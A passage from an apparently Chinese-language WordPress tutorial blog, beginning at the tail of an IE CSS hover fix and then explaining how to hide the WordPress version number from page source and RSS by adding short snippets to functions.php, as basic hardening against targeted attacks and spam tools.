body   {behavior:url("<?php bloginfo('template_url');   ?>/js/csshover.htc");}
</style>
<![endif]-->

这样就完成了! 刷新一下主题看看效果吧! 有什么问题可以在Ei2U留言交流.

也就是说任何人都在你的网站上查看源文件的时候就可以知道你现在的Wordpress版本, 这对于Wordpress用户来说并不是件好事. 官方许多安全版本的更新正是因为Wordpress的bug和漏洞的发现, 考虑到Wordpress的稳定性, 许多人并不会在官方发布最新版本的时候马上跟进.

官方发布安更新后用户并没有更新的情况下, WordPress的版本号就是攻击者寻找目标的最简单的依据.
还有在没有版本号的情况下, 在针对Wordpress的Spam工具上也有一点防御效果, 因为部分Spam工具会扫描博客的程序类型和版本然后配对相应的自动垃圾留言.

许多人选择用插件来关闭这个默认的版本输出, 其实如果只为了这个而安装一个插件, 相当于在浪费资源. 考虑到Wordpress的速度和效率, 插件的选择是越少越好. 我们只需要在主题文件functions.php上添加一行代码, 即可完成这个任务, 简单方便.

打开functions.php, 在最后的?>之前加上这句代码

remove_action('wp_head','wp_generator');

保存后上传即可.

但是上面的方法只能消除页面上源码的版本信息, 在RSS上依然可以看到Wordpress所使用的版本, 我们同样更为彻底的消除所有版本的显示, 打开functions.php文件, 添加

function wpbeginner_remove_version() {
return '';
}
add_filter('the_generator', 'wpbeginner_remove_version');

上传覆盖服务器上原来的文件.

查看是否生效的方法, 打开博客, 右键查看源代码. (需要删除Cache插件的缓存页面再进行测试)